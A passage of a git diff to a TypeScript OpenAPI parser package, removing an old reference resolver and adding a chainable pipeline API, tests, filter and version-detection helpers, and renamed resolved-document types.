-    addFormats(ajv)
-
-    // OpenAPI 3.1 uses media-range format
-    ajv.addFormat('media-range', true)
-
-    this.ajvValidators[version] = ajv.compile(schema)
-
-    return this.ajvValidators[version]
-  }
-}
+export * from './Validator'
diff --git a/packages/openapi-parser/src/lib/resolve.ts b/packages/openapi-parser/src/lib/resolve.ts
deleted file mode 100644
index 398be34..0000000
--- a/packages/openapi-parser/src/lib/resolve.ts
+++ /dev/null
@@ -1,202 +0,0 @@
-import { Specification } from '../types'
-
-function escapeJsonPointer(str: string) {
-  return str.replace(/~/g, '~0').replace(/\//g, '~1')
-}
-
-function unescapeJsonPointer(str: string) {
-  return str.replace(/~1/g, '/').replace(/~0/g, '~')
-}
-
-const isObject = (obj: any) => typeof obj === 'object' && obj !== null
-
-const pointerWords = new Set([
-  '$ref',
-  '$id',
-  '$anchor',
-  '$dynamicRef',
-  '$dynamicAnchor',
-  '$schema',
-])
-
-function resolveUri(uri: string, anchors: Record<string, any>) {
-  const [prefix, path] = uri.split('#', 2)
-
-  const hashPresent = !!path
-
-  const err = new Error(
-    `Can't resolve ${uri}${
-      prefix ? ', only internal refs are supported.' : ''
-    }`,
-  )
-
-  if (hashPresent && path[0] !== '/') {
-    if (anchors[uri]) {
-      return anchors[uri]
-    }
-
-    throw err
-  }
-
-  if (!anchors[prefix]) {
-    throw err
-  }
-
-  if (!hashPresent) {
-    return anchors[prefix]
-  }
-
-  const paths = path.split('/').slice(1)
-
-  try {
-    const result = paths.reduce(
-      (o, n) => o[unescapeJsonPointer(n)],
-      anchors[prefix],
-    )
-
-    if (result === undefined) {
-      throw ''
-    }
-
-    return result
-  } catch {
-    throw err
-  }
-}
-
-export function replaceRefs(tree: Specification) {
-  return resolve(tree, true)
-}
-
-export function checkRefs(tree: Specification) {
-  try {
-    resolve(tree, false)
-
-    return {
-      valid: true,
-    }
-  } catch (err) {
-    return {
-      valid: false,
-      errors: err.message,
-    }
-  }
-}
-
-function resolve(tree: Specification, replace: boolean) {
-  let treeObj = tree
-
-  if (!isObject(treeObj)) {
-    return undefined
-  }
-
-  if (replace === false) {
-    treeObj = structuredClone(tree)
-  }
-
-  const pointers: {
-    [key: string]: {
-      ref: string
-      obj: Specification | string
-      prop: string
-      path: string
-      id: string
-    }[]
-  } = {}
-  for (const word of pointerWords) {
-    pointers[word] = []
-  }
-
-  function applyRef(path: string, target: Specification) {
-    let root = treeObj
-    const paths = path.split('/').slice(1)
-    const prop = paths.pop()
-
-    for (const p of paths) {
-      root = root[unescapeJsonPointer(p)]
-    }
-
-    if (typeof prop !== 'undefined') {
-      root[unescapeJsonPointer(prop)] = target
-    } else {
-      treeObj = target
-    }
-  }
-
-  function parse(obj: Specification, path: string, id: string) {
-    if (!isObject(obj)) {
-      return
-    }
-
-    const objId = obj.$id || id
-
-    for (const prop in obj) {
-      if (pointerWords.has(prop)) {
-        pointers[prop].push({ ref: obj[prop], obj, prop, path, id: objId })
-        delete obj[prop]
-      }
-
-      parse(obj[prop], `${path}/${escapeJsonPointer(prop)}`, objId)
-    }
-  }
-
-  // find all refs
-  parse(treeObj, '#', '')
-
-  // resolve them
-  const anchors = { '': treeObj }
-  const dynamicAnchors = {}
-
-  for (const item of pointers.$id) {
-    const { ref, obj, path } = item
-
-    if (anchors[ref]) {
-      throw new Error(`$id : '${ref}' defined more than once at ${path}`)
-    }
-
-    anchors[ref] = obj
-  }
-
-  for (const item of pointers.$anchor) {
-    const { ref, obj, path, id } = item
-    const fullRef = `${id}#${ref}`
-
-    if (anchors[fullRef]) {
-      throw new Error(`$anchor : '${ref}' defined more than once at '${path}'`)
-    }
-
-    anchors[fullRef] = obj
-  }
-
-  for (const item of pointers.$dynamicAnchor) {
-    const { ref, obj, path } = item
-
-    if (dynamicAnchors[`#${ref}`]) {
-      throw new Error(
-        `$dynamicAnchor : '${ref}' defined more than once at '${path}'`,
-      )
-    }
-
-    dynamicAnchors[`#${ref}`] = obj
-  }
-
-  for (const item of pointers.$ref) {
-    const { ref, id, path } = item
-    const decodedRef = decodeURIComponent(ref)
-    const fullRef = decodedRef[0] !== '#' ? decodedRef : `${id}${decodedRef}`
-
-    applyRef(path, resolveUri(fullRef, anchors))
-  }
-
-  for (const item of pointers.$dynamicRef) {
-    const { ref, path } = item
-
-    if (!dynamicAnchors[ref]) {
-      throw new Error(`Can't resolve $dynamicAnchor : '${ref}'`)
-    }
-
-    applyRef(path, dynamicAnchors[ref])
-  }
-
-  return treeObj
-}
diff --git a/packages/openapi-parser/src/pipeline.test.ts b/packages/openapi-parser/src/pipeline.test.ts
new file mode 100644
index 0000000..403a0af
--- /dev/null
+++ b/packages/openapi-parser/src/pipeline.test.ts
@@ -0,0 +1,170 @@
+import { describe, expect, it } from 'vitest'
+
+import { openapi } from '.'
+
+const specification = {
+  openapi: '3.1.0',
+  info: {
+    title: 'Hello World',
+    version: '1.0.0',
+  },
+  paths: {},
+}
+
+describe('pipeline', () => {
+  it('upgrade', async () => {
+    const result = openapi()
+      .load({
+        openapi: '3.0.0',
+        info: {
+          title: 'Hello World',
+          version: '1.0.0',
+        },
+        paths: {},
+      })
+      .upgrade()
+      .get()
+
+    expect(result.openapi).toBe('3.1.0')
+  })
+
+  it('details', async () => {
+    const result = openapi()
+      .load({
+        openapi: '3.0.0',
+        info: {
+          title: 'Hello World',
+          version: '1.0.0',
+        },
+        paths: {},
+      })
+      .details()
+
+    expect(result.version).toBe('3.0')
+  })
+
+  it('upgrade + details', async () => {
+    const result = openapi()
+      .load({
+        openapi: '3.0.0',
+        info: {
+          title: 'Hello World',
+          version: '1.0.0',
+        },
+        paths: {},
+      })
+      .upgrade()
+      .details()
+
+    expect(result.version).toBe('3.1')
+  })
+
+  it('filter x-internal', async () => {
+    const specification = {
+      openapi: '3.1.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {
+        '/': {
+          get: {
+            'x-internal': true,
+            'responses': {
+              200: {
+                description: 'OK',
+              },
+            },
+          },
+        },
+        '/foobar': {
+          get: {
+            responses: {
+              200: {
+                description: 'OK',
+              },
+            },
+          },
+        },
+      },
+    }
+
+    const result = openapi()
+      .load(specification)
+      .filter((schema) => !schema?.['x-internal'])
+      .get()
+
+    expect(result.openapi).toBe('3.1.0')
+    expect(result.paths['/'].get).toBeUndefined()
+    expect(result.paths['/foobar'].get).not.toBeUndefined()
+  })
+
+  it('filter tags', async () => {
+    const specification = {
+      openapi: '3.1.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {
+        '/': {
+          get: {
+            tags: ['Beta'],
+            responses: {
+              200: {
+                description: 'OK',
+              },
+            },
+          },
+        },
+        '/foobar': {
+          get: {
+            responses: {
+              200: {
+                description: 'OK',
+              },
+            },
+          },
+        },
+      },
+    }
+
+    const result = openapi()
+      .load(specification)
+      .filter((schema) => !schema?.tags?.includes('Beta'))
+      .get()
+
+    expect(result.openapi).toBe('3.1.0')
+    expect(result.paths['/'].get).toBeUndefined()
+    expect(result.paths['/foobar'].get).not.toBeUndefined()
+  })
+
+  it('validate', async () => {
+    const result = await openapi().load(specification).validate()
+
+    expect(result).toMatchObject({
+      valid: true,
+      version: '3.1',
+    })
+  })
+
+  it('toJson', async () => {
+    const result = openapi().load(specification).toJson()
+
+    expect(result).toBe(JSON.stringify(specification, null, 2))
+  })
+
+  it('resolve', async () => {
+    const result = await openapi().load(specification).resolve()
+
+    expect(result.schema.info.title).toBe('Hello World')
+  })
+
+  it('validate + resolve', async () => {
+    const validation = await openapi().load(specification).validate()
+    const result = await validation.resolve()
+
+    expect(result.valid).toBe(true)
+    expect(result.schema.info.title).toBe('Hello World')
+  })
+})
diff --git a/packages/openapi-parser/src/pipeline.ts b/packages/openapi-parser/src/pipeline.ts
new file mode 100644
index 0000000..9a87695
--- /dev/null
+++ b/packages/openapi-parser/src/pipeline.ts
@@ -0,0 +1,105 @@
+import type { AnyObject } from './types'
+import {
+  details,
+  filter,
+  normalize,
+  resolve,
+  toJson,
+  toYaml,
+  upgrade,
+  validate,
+} from './utils'
+
+export function openapi() {
+  return {
+    load: loadAction,
+  }
+}
+
+function loadAction(specification: string | AnyObject) {
+  const normalizedSpecification = normalize(specification)
+
+  return {
+    get: () => getAction(normalizedSpecification),
+    details: () => detailsAction(normalizedSpecification),
+    filter: (callback: (Specification: AnyObject) => boolean) =>
+      filterAction(normalizedSpecification, callback),
+    upgrade: () => upgradeAction(normalizedSpecification),
+    validate: () => validateAction(normalizedSpecification),
+    resolve: () => resolveAction(normalizedSpecification),
+    toJson: () => toJsonAction(normalizedSpecification),
+    toYaml: () => toYamlAction(normalizedSpecification),
+  }
+}
+
+function upgradeAction(specification: AnyObject) {
+  const upgradedSpecification = upgrade(specification)
+
+  return {
+    get: () => getAction(upgradedSpecification),
+    details: () => detailsAction(upgradedSpecification),
+    filter: (callback: (Specification: AnyObject) => boolean) =>
+      filterAction(upgradedSpecification, callback),
+    validate: () => validateAction(upgradedSpecification),
+    resolve: () => resolveAction(upgradedSpecification),
+    toJson: () => toJsonAction(upgradedSpecification),
+    toYaml: () => toYamlAction(upgradedSpecification),
+  }
+}
+
+async function validateAction(specification: AnyObject) {
+  return {
+    ...(await validate(specification)),
+    filter: (callback: (Specification: AnyObject) => boolean) =>
+      filterAction(specification, callback),
+    get: () => getAction(specification),
+    details: () => detailsAction(specification),
+    resolve: () => resolveAction(specification),
+    toJson: () => toJsonAction(specification),
+    toYaml: () => toYamlAction(specification),
+  }
+}
+
+async function resolveAction(specification: AnyObject) {
+  return {
+    ...(await resolve(specification)),
+    filter: (callback: (Specification: AnyObject) => boolean) =>
+      filterAction(specification, callback),
+    toJson: () => toJsonAction(specification),
+    toYaml: () => toYamlAction(specification),
+  }
+}
+
+function filterAction(
+  specification: AnyObject,
+  callback: (specification: AnyObject) => boolean,
+) {
+  const filteredSpecification = filter(specification, callback)
+
+  return {
+    get: () => getAction(filteredSpecification),
+    details: () => detailsAction(filteredSpecification),
+    filter: () => filterAction(filteredSpecification, callback),
+    upgrade: () => upgradeAction(filteredSpecification),
+    validate: () => validateAction(filteredSpecification),
+    resolve: () => resolveAction(filteredSpecification),
+    toJson: () => toJsonAction(filteredSpecification),
+    toYaml: () => toYamlAction(filteredSpecification),
+  }
+}
+
+function getAction(specification: AnyObject) {
+  return specification
+}
+
+function detailsAction(specification: AnyObject) {
+  return details(specification)
+}
+
+function toJsonAction(specification: AnyObject) {
+  return toJson(specification)
+}
+
+function toYamlAction(specification: AnyObject) {
+  return toYaml(specification)
+}
diff --git a/packages/openapi-parser/src/types/index.ts b/packages/openapi-parser/src/types/index.ts
new file mode 100644
index 0000000..023b554
--- /dev/null
+++ b/packages/openapi-parser/src/types/index.ts
@@ -0,0 +1,60 @@
+import type { OpenAPI } from 'openapi-types'
+
+import type { ResolvedOpenAPI } from './openapi'
+
+export type {
+  ResolvedOpenAPI,
+  ResolvedOpenAPIV2,
+  ResolvedOpenAPIV3,
+  ResolvedOpenAPIV3_1,
+} from './openapi'
+
+export type { OpenAPI, OpenAPIV2, OpenAPIV3, OpenAPIV3_1 } from 'openapi-types'
+
+export type AnyObject = Record<string, any>
+
+export type ValidateResult = {
+  valid: boolean
+  specification?: OpenAPI.Document
+  version?: string
+  errors?: ErrorObject[]
+}
+
+export type ErrorObject = {
+  start: {
+    line: number
+    column: number
+    offset: number
+  }
+  error: string
+  path: string
+}
+
+export type ResolveResult = {
+  valid: boolean
+  version: string | undefined
+  specification?: OpenAPI.Document
+  schema?: ResolvedOpenAPI.Document
+  errors?: ErrorObject[]
+}
+
+export type AjvOptions = {
+  strict?: boolean | 'log'
+}
+
+/**
+ * Not literally a filesystem, but a list of files with their content.
+ * This is an abstraction layer to handle multiple files in the browser (without access to the hard disk).
+ */
+export type Filesystem = FilesystemEntry[]
+
+/**
+ * Holds all information about a single file (doesn’t have to be a literal file, see Filesystem).
+ */
+export type FilesystemEntry = {
+  dir: string
+  entrypoint: boolean
+  references: string[]
+  filename: string
+  specification: AnyObject
+}
diff --git a/packages/openapi-parser/src/types.ts b/packages/openapi-parser/src/types/openapi.ts
similarity index 87%
rename from packages/openapi-parser/src/types.ts
rename to packages/openapi-parser/src/types/openapi.ts
index 728bd1b..040aebc 100644
--- a/packages/openapi-parser/src/types.ts
+++ b/packages/openapi-parser/src/types/openapi.ts
@@ -1,61 +1,26 @@
-export type ValidateResult = {
-  valid: boolean
-  errors?: ErrorObject[]
-}
-
-export type ErrorObject = {
-  start: {
-    line: number
-    column: number
-    offset: number
-  }
-  error: string
-  path: string
-}
-
-export type ValidateOptions = {
-  format?: 'js' | 'cli'
-  indent?: number
-}
-
-export type ParseResult = {
-  valid: boolean
-  version: string | undefined
-  document?: OpenAPI.Document
-  errors?: ErrorObject[]
-}
-
 export type EmptyObject = Record<string, never>
 
-export type AjvOptions = {
-  strict?: boolean | 'log'
-}
-
-export type Specification = {
-  $id?: string
-}
-
 /**
  * These types are copied from 'openapi-types', but the `ReferenceObject` type is removed.
- * After an OpenAPI schema is parsed, all references are resolved and replaced with the actual object.
+ * After an ResolvedOpenAPI schema is parsed, all references are resolved and replaced with the actual object.
  */
-export declare namespace OpenAPI {
+export declare namespace ResolvedOpenAPI {
   type Document<T extends {} = EmptyObject> =
-    | OpenAPIV2.Document<T>
-    | OpenAPIV3.Document<T>
-    | OpenAPIV3_1.Document<T>
+    | ResolvedOpenAPIV2.Document<T>
+    | ResolvedOpenAPIV3.Document<T>
+    | ResolvedOpenAPIV3_1.Document<T>
   type Operation<T extends {} = EmptyObject> =
-    | OpenAPIV2.OperationObject<T>
-    | OpenAPIV3.OperationObject<T>
-    | OpenAPIV3_1.OperationObject<T>
+    | ResolvedOpenAPIV2.OperationObject<T>
+    | ResolvedOpenAPIV3.OperationObject<T>
+    | ResolvedOpenAPIV3_1.OperationObject<T>
   type Parameter =
-    | OpenAPIV3_1.ParameterObject
-    | OpenAPIV3.ParameterObject
-    | OpenAPIV2.Parameter
+    | ResolvedOpenAPIV3_1.ParameterObject
+    | ResolvedOpenAPIV3.ParameterObject
+    | ResolvedOpenAPIV2.Parameter
   type Parameters =
-    | OpenAPIV3_1.ParameterObject[]
-    | OpenAPIV3.ParameterObject[]
-    | OpenAPIV2.Parameter[]
+    | ResolvedOpenAPIV3_1.ParameterObject[]
+    | ResolvedOpenAPIV3.ParameterObject[]
+    | ResolvedOpenAPIV2.Parameter[]
   interface Request {
     body?: any
     headers?: object
@@ -64,7 +29,7 @@ export declare namespace OpenAPI {
   }
 }
 
-export declare namespace OpenAPIV3_1 {
+export declare namespace ResolvedOpenAPIV3_1 {
   type Modify<T, R> = Omit<T, keyof R> & R
   type PathsWebhooksComponents<T extends {} = EmptyObject> = {
     paths: PathsObject<T>
@@ -72,7 +37,7 @@ export declare namespace OpenAPIV3_1 {
     components: ComponentsObject
   }
   export type Document<T extends {} = EmptyObject> = Modify<
-    Omit<OpenAPIV3.Document<T>, 'paths' | 'components'>,
+    Omit<ResolvedOpenAPIV3.Document<T>, 'paths' | 'components'>,
     {
       info: InfoObject
       jsonSchemaDialect?: string
@@ -87,21 +52,21 @@ export declare namespace OpenAPIV3_1 {
     )
   >
   export type InfoObject = Modify<
-    OpenAPIV3.InfoObject,
+    ResolvedOpenAPIV3.InfoObject,
     {
       summary?: string
       license?: LicenseObject
     }
   >
-  export type ContactObject = OpenAPIV3.ContactObject
+  export type ContactObject = ResolvedOpenAPIV3.ContactObject
   export type LicenseObject = Modify<
-    OpenAPIV3.LicenseObject,
+    ResolvedOpenAPIV3.LicenseObject,
     {
       identifier?: string
     }
   >
   export type ServerObject = Modify<
-    OpenAPIV3.ServerObject,
+    ResolvedOpenAPIV3.ServerObject,
     {
       url: string
       description?: string
@@ -109,7 +74,7 @@ export declare namespace OpenAPIV3_1 {
     }
   >
   export type ServerVariableObject = Modify<
-    OpenAPIV3.ServerVariableObject,
+    ResolvedOpenAPIV3.ServerVariableObject,
     {
       enum?: [string, ...string[]]
     }
@@ -118,9 +83,9 @@ export declare namespace OpenAPIV3_1 {
     T extends {} = EmptyObject,
     P extends {} = EmptyObject,
   > = Record<string, (PathItemObject<T> & P) | undefined>
-  export type HttpMethods = OpenAPIV3.HttpMethods
+  export type HttpMethods = ResolvedOpenAPIV3.HttpMethods
   export type PathItemObject<T extends {} = EmptyObject> = Modify<
-    OpenAPIV3.PathItemObject<T>,
+    ResolvedOpenAPIV3.PathItemObject<T>,
     {
       servers?: ServerObject[]
       parameters?: ParameterObject[]
@@ -129,7 +94,7 @@ export declare namespace OpenAPIV3_1 {
     [method in HttpMethods]?: OperationObject<T>
   }
   export type OperationObject<T extends {} = EmptyObject> = Modify<
-    OpenAPIV3.OperationObject<T>,
+    ResolvedOpenAPIV3.OperationObject<T>,
     {
       parameters?: ParameterObject[]
       requestBody?: RequestBodyObject
@@ -140,14 +105,14 @@ export declare namespace OpenAPIV3_1 {
   > &
     T
   export type ExternalDocumentationObject =
-    OpenAPIV3.ExternalDocumentationObject
-  export type ParameterObject = OpenAPIV3.ParameterObject
-  export type HeaderObject = OpenAPIV3.HeaderObject
-  export type ParameterBaseObject = OpenAPIV3.ParameterBaseObject
+    ResolvedOpenAPIV3.ExternalDocumentationObject
+  export type ParameterObject = ResolvedOpenAPIV3.ParameterObject
+  export type HeaderObject = ResolvedOpenAPIV3.HeaderObject
+  export type ParameterBaseObject = ResolvedOpenAPIV3.ParameterBaseObject
   export type NonArraySchemaObjectType =
-    | OpenAPIV3.NonArraySchemaObjectType
+    | ResolvedOpenAPIV3.NonArraySchemaObjectType
     | 'null'
-  export type ArraySchemaObjectType = OpenAPIV3.ArraySchemaObjectType
+  export type ArraySchemaObjectType = ResolvedOpenAPIV3.ArraySchemaObjectType
   /**
    * There is no way to tell typescript to require items when type is either 'array' or array containing 'array' type
    * 'items' will be always visible as optional
@@ -169,9 +134,9 @@ export declare namespace OpenAPIV3_1 {
     items?: SchemaObject
   }
   export type BaseSchemaObject = Modify<
-    Omit<OpenAPIV3.BaseSchemaObject, 'nullable'>,
+    Omit<ResolvedOpenAPIV3.BaseSchemaObject, 'nullable'>,
     {
-      examples?: OpenAPIV3.BaseSchemaObject['example'][]
+      examples?: ResolvedOpenAPIV3.BaseSchemaObject['example'][]
       exclusiveMinimum?: boolean | number
       exclusiveMaximum?: boolean | number
       contentMediaType?: string
@@ -190,19 +155,19 @@ export declare namespace OpenAPIV3_1 {
       const?: any
     }
   >
-  export type DiscriminatorObject = OpenAPIV3.DiscriminatorObject
-  export type XMLObject = OpenAPIV3.XMLObject
-  export type ExampleObject = OpenAPIV3.ExampleObject
+  export type DiscriminatorObject = ResolvedOpenAPIV3.DiscriminatorObject
+  export type XMLObject = ResolvedOpenAPIV3.XMLObject
+  export type ExampleObject = ResolvedOpenAPIV3.ExampleObject
   export type MediaTypeObject = Modify<
-    OpenAPIV3.MediaTypeObject,
+    ResolvedOpenAPIV3.MediaTypeObject,
     {
       schema?: SchemaObject
       examples?: Record<string, ExampleObject>
     }
   >
-  export type EncodingObject = OpenAPIV3.EncodingObject
+  export type EncodingObject = ResolvedOpenAPIV3.EncodingObject
   export type RequestBodyObject = Modify<
-    OpenAPIV3.RequestBodyObject,
+    ResolvedOpenAPIV3.RequestBodyObject,
     {
       content: {
         [media: string]: MediaTypeObject
@@ -211,7 +176,7 @@ export declare namespace OpenAPIV3_1 {
   >
   export type ResponsesObject = Record<string, ResponseObject>
   export type ResponseObject = Modify<
-    OpenAPIV3.ResponseObject,
+    ResolvedOpenAPIV3.ResponseObject,
     {
       headers?: {
         [header: string]: HeaderObject
@@ -225,15 +190,16 @@ export declare namespace OpenAPIV3_1 {
     }
   >
   export type LinkObject = Modify<
-    OpenAPIV3.LinkObject,
+    ResolvedOpenAPIV3.LinkObject,
     {
       server?: ServerObject
     }
   >
   export type CallbackObject = Record<string, PathItemObject>
-  export type SecurityRequirementObject = OpenAPIV3.SecurityRequirementObject
+  export type SecurityRequirementObject =
+    ResolvedOpenAPIV3.SecurityRequirementObject
   export type ComponentsObject = Modify<
-    OpenAPIV3.ComponentsObject,
+    ResolvedOpenAPIV3.ComponentsObject,
     {
       schemas?: Record<string, SchemaObject>
       responses?: Record<string, ResponseObject>
@@ -247,17 +213,17 @@ export declare namespace OpenAPIV3_1 {
       pathItems?: Record<string, PathItemObject>
     }
   >
-  export type SecuritySchemeObject = OpenAPIV3.SecuritySchemeObject
-  export type HttpSecurityScheme = OpenAPIV3.HttpSecurityScheme
-  export type ApiKeySecurityScheme = OpenAPIV3.ApiKeySecurityScheme
-  export type OAuth2SecurityScheme = OpenAPIV3.OAuth2SecurityScheme
-  export type OpenIdSecurityScheme = OpenAPIV3.OpenIdSecurityScheme
-  export type TagObject = OpenAPIV3.TagObject
+  export type SecuritySchemeObject = ResolvedOpenAPIV3.SecuritySchemeObject
+  export type HttpSecurityScheme = ResolvedOpenAPIV3.HttpSecurityScheme
+  export type ApiKeySecurityScheme = ResolvedOpenAPIV3.ApiKeySecurityScheme
+  export type OAuth2SecurityScheme = ResolvedOpenAPIV3.OAuth2SecurityScheme
+  export type OpenIdSecurityScheme = ResolvedOpenAPIV3.OpenIdSecurityScheme
+  export type TagObject = ResolvedOpenAPIV3.TagObject
 }
 
-export declare namespace OpenAPIV3 {
+export declare namespace ResolvedOpenAPIV3 {
   interface Document<T extends {} = EmptyObject> {
-    'openapi': string
+    'Resolvedopenapi': string
     'info': InfoObject
     'servers'?: ServerObject[]
     'paths': PathsObject<T>
@@ -588,7 +554,7 @@ export declare namespace OpenAPIV3 {
   }
 }
 
-export declare namespace OpenAPIV2 {
+export declare namespace ResolvedOpenAPIV2 {
   interface Document<T extends {} = EmptyObject> {
     'basePath'?: string
     'consumes'?: MimeTypes
@@ -610,6 +576,8 @@ export declare namespace OpenAPIV2 {
       | ((request: any, response: any, next: any) => void)
     )[]
     'x-express-openapi-validation-strict'?: boolean
+    // We add this so TypeScript doesn’t complain about missing properties
+    'components': undefined
   }
   interface TagObject {
     name: string
diff --git a/packages/openapi-parser/src/utils/betterAjvErrors/helpers.js b/packages/openapi-parser/src/utils/betterAjvErrors/helpers.ts
similarity index 99%
rename from packages/openapi-parser/src/utils/betterAjvErrors/helpers.js
rename to packages/openapi-parser/src/utils/betterAjvErrors/helpers.ts
index 9fa02f9..78156f8 100644
--- a/packages/openapi-parser/src/utils/betterAjvErrors/helpers.js
+++ b/packages/openapi-parser/src/utils/betterAjvErrors/helpers.ts
@@ -134,6 +134,7 @@ export function createErrorInstances(root, options) {
 
 export default function prettify(ajvErrors, options) {
   const tree = makeTree(ajvErrors || [])
+  // @ts-ignore
   filterRedundantErrors(tree)
   return createErrorInstances(tree, options)
 }
diff --git a/packages/openapi-parser/src/utils/betterAjvErrors/index.js b/packages/openapi-parser/src/utils/betterAjvErrors/index.ts
similarity index 59%
rename from packages/openapi-parser/src/utils/betterAjvErrors/index.js
rename to packages/openapi-parser/src/utils/betterAjvErrors/index.ts
index 2e51277..5ef5a28 100644
--- a/packages/openapi-parser/src/utils/betterAjvErrors/index.js
+++ b/packages/openapi-parser/src/utils/betterAjvErrors/index.ts
@@ -2,7 +2,31 @@ import { parse } from '@humanwhocodes/momoa'
 
 import prettify from './helpers'
 
-export default function betterAjvErrors(schema, data, errors, options = {}) {
+type BetterAjvErrorsOptions = {
+  colorize?: boolean
+  format?: 'cli' | 'js'
+  indent?: number
+  json?: string
+}
+
+// TODO: Check if this is the correct type
+type AjvError = {
+  keyword: string
+  dataPath: string
+  schemaPath: string
+  params: any
+  message: string
+  schema: any
+  parentSchema: any
+  data: any
+}
+
+export function betterAjvErrors(
+  schema: any,
+  data: any,
+  errors: AjvError[],
+  options: BetterAjvErrorsOptions = {},
+) {
   const {
     colorize = true,
     format = 'cli',
diff --git a/packages/openapi-parser/src/utils/betterAjvErrors/json/get-decorated-data-path.js b/packages/openapi-parser/src/utils/betterAjvErrors/json/get-decorated-data-path.js
index ac60d01..0647087 100644
--- a/packages/openapi-parser/src/utils/betterAjvErrors/json/get-decorated-data-path.js
+++ b/packages/openapi-parser/src/utils/betterAjvErrors/json/get-decorated-data-path.js
@@ -18,7 +18,7 @@ function getTypeName(obj) {
 export default function getDecoratedDataPath(jsonAst, dataPath) {
   let decoratedPath = ''
   getPointers(dataPath).reduce((obj, pointer) => {
-    switch (obj.type) {
+    switch (obj?.type) {
       case 'Object': {
         decoratedPath += `/${pointer}`
         const filtered = obj.members.filter(
@@ -34,8 +34,8 @@ export default function getDecoratedDataPath(jsonAst, dataPath) {
         return obj.elements[pointer]
       }
       default:
-        // eslint-disable-next-line no-console
-        console.log(obj)
+      // eslint-disable-next-line no-console
+      // console.log(obj)
     }
   }, jsonAst.body)
   return decoratedPath
diff --git a/packages/openapi-parser/src/utils/betterAjvErrors/json/get-meta-from-path.js b/packages/openapi-parser/src/utils/betterAjvErrors/json/get-meta-from-path.js
index d4dea62..5357187 100644
--- a/packages/openapi-parser/src/utils/betterAjvErrors/json/get-meta-from-path.js
+++ b/packages/openapi-parser/src/utils/betterAjvErrors/json/get-meta-from-path.js
@@ -8,7 +8,7 @@ export default function getMetaFromPath(
   const pointers = getPointers(dataPath)
   const lastPointerIndex = pointers.length - 1
   return pointers.reduce((obj, pointer, idx) => {
-    switch (obj.type) {
+    switch (obj?.type) {
       case 'Object': {
         const filtered = obj.members.filter(
           (child) => child.name.value === pointer,
@@ -25,8 +25,14 @@ export default function getMetaFromPath(
       case 'Array':
         return obj.elements[pointer]
       default:
+        // Unexpected type
         // eslint-disable-next-line no-console
-        console.log(obj)
+        // console.log(obj)
+
+        // Anyway, if there’s location, let’s just use it.
+        if (obj.loc) {
+          return obj
+        }
     }
   }, jsonAst.body)
 }
diff --git a/packages/openapi-parser/src/utils/betterAjvErrors/validation-errors/base.js b/packages/openapi-parser/src/utils/betterAjvErrors/validation-errors/base.js
index 58b74ad..bdd08cf 100644
--- a/packages/openapi-parser/src/utils/betterAjvErrors/validation-errors/base.js
+++ b/packages/openapi-parser/src/utils/betterAjvErrors/validation-errors/base.js
@@ -22,11 +22,13 @@ export default class BaseValidationError {
 
   getLocation(dataPath = this.instancePath) {
     const { isIdentifierLocation, isSkipEndLocation } = this.options
+
     const { loc } = getMetaFromPath(
       this.jsonAst,
       dataPath,
       isIdentifierLocation,
     )
+
     return {
       start: loc.start,
       end: isSkipEndLocation ? undefined : loc.end,
diff --git a/packages/openapi-parser/src/utils/details.ts b/packages/openapi-parser/src/utils/details.ts
new file mode 100644
index 0000000..c1e2286
--- /dev/null
+++ b/packages/openapi-parser/src/utils/details.ts
@@ -0,0 +1,26 @@
+import { supportedVersions } from '../configuration'
+import { AnyObject } from '../types'
+
+/**
+ * Get versions of the OpenAPI specification.
+ */
+export function details(specification: AnyObject) {
+  for (const version of new Set(supportedVersions)) {
+    const specificationType = version === '2.0' ? 'swagger' : 'openapi'
+    const value = specification[specificationType]
+
+    if (typeof value === 'string' && value.startsWith(version)) {
+      return {
+        version,
+        specificationType,
+        specificationVersion: value,
+      }
+    }
+  }
+
+  return {
+    version: undefined,
+    specificationType: undefined,
+    specificationVersion: undefined,
+  }
+}
diff --git a/packages/openapi-parser/src/utils/errors.test.ts b/packages/openapi-parser/src/utils/errors.test.ts
new file mode 100644
index 0000000..9de3d87
--- /dev/null
+++ b/packages/openapi-parser/src/utils/errors.test.ts
@@ -0,0 +1,69 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from './resolve'
+
+describe('errors', () => {
+  it('info required', async () => {
+    const result = await resolve({
+      openapi: '3.1.0',
+      paths: {},
+    })
+
+    expect(result).toMatchObject({
+      errors: [
+        {
+          error: `must have required property 'info'`,
+          path: '',
+          start: {
+            column: 1,
+            line: 1,
+            offset: 0,
+          },
+        },
+      ],
+      valid: false,
+    })
+  })
+
+  it('unevaluated property', async () => {
+    const result = await resolve({
+      openapi: '3.1.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {
+        '/test': {
+          foobar: {
+            responses: {
+              200: {
+                description: 'OK',
+              },
+            },
+          },
+        },
+      },
+    })
+
+    expect(result).toMatchObject({
+      errors: [
+        {
+          error: `Property foobar is not expected to be here`,
+          path: '/paths/~1test',
+          start: {
+            column: 1,
+            line: 1,
+            offset: 0,
+          },
+          end: {
+            column: 5,
+            line: 1,
+            offset: 4,
+          },
+        },
+      ],
+      valid: false,
+      version: undefined,
+    })
+  })
+})
diff --git a/packages/openapi-parser/src/utils/filter.ts b/packages/openapi-parser/src/utils/filter.ts
new file mode 100644
index 0000000..aeed412
--- /dev/null
+++ b/packages/openapi-parser/src/utils/filter.ts
@@ -0,0 +1,14 @@
+import type { AnyObject } from '../types'
+import { traverse } from './traverse'
+
+/**
+ * Filter the specification based on the callback
+ */
+export function filter(
+  specification: AnyObject,
+  callback: (schema: AnyObject) => boolean,
+): AnyObject {
+  return traverse(specification, (schema) => {
+    return callback(schema) ? schema : undefined
+  })
+}
diff --git a/packages/openapi-parser/src/utils/index.ts b/packages/openapi-parser/src/utils/index.ts
index dc03739..69ef3bf 100644
--- a/packages/openapi-parser/src/utils/index.ts
+++ b/packages/openapi-parser/src/utils/index.ts
@@ -1,2 +1,13 @@
-export * from './parse'
+export * from './filter'
+export * from './isFilesystem'
+export * from './loadFiles'
+export * from './normalize'
+export * from './resolve'
+export * from './toJson'
+export * from './toYaml'
+export * from './traverse'
+export * from './upgrade'
+export * from './upgradeFromThreeToThreeOne'
+export * from './upgradeFromTwoToThree'
 export * from './validate'
+export * from './details'
diff --git a/packages/openapi-parser/src/utils/isFilesystem.ts b/packages/openapi-parser/src/utils/isFilesystem.ts
new file mode 100644
index 0000000..17b3dfa
--- /dev/null
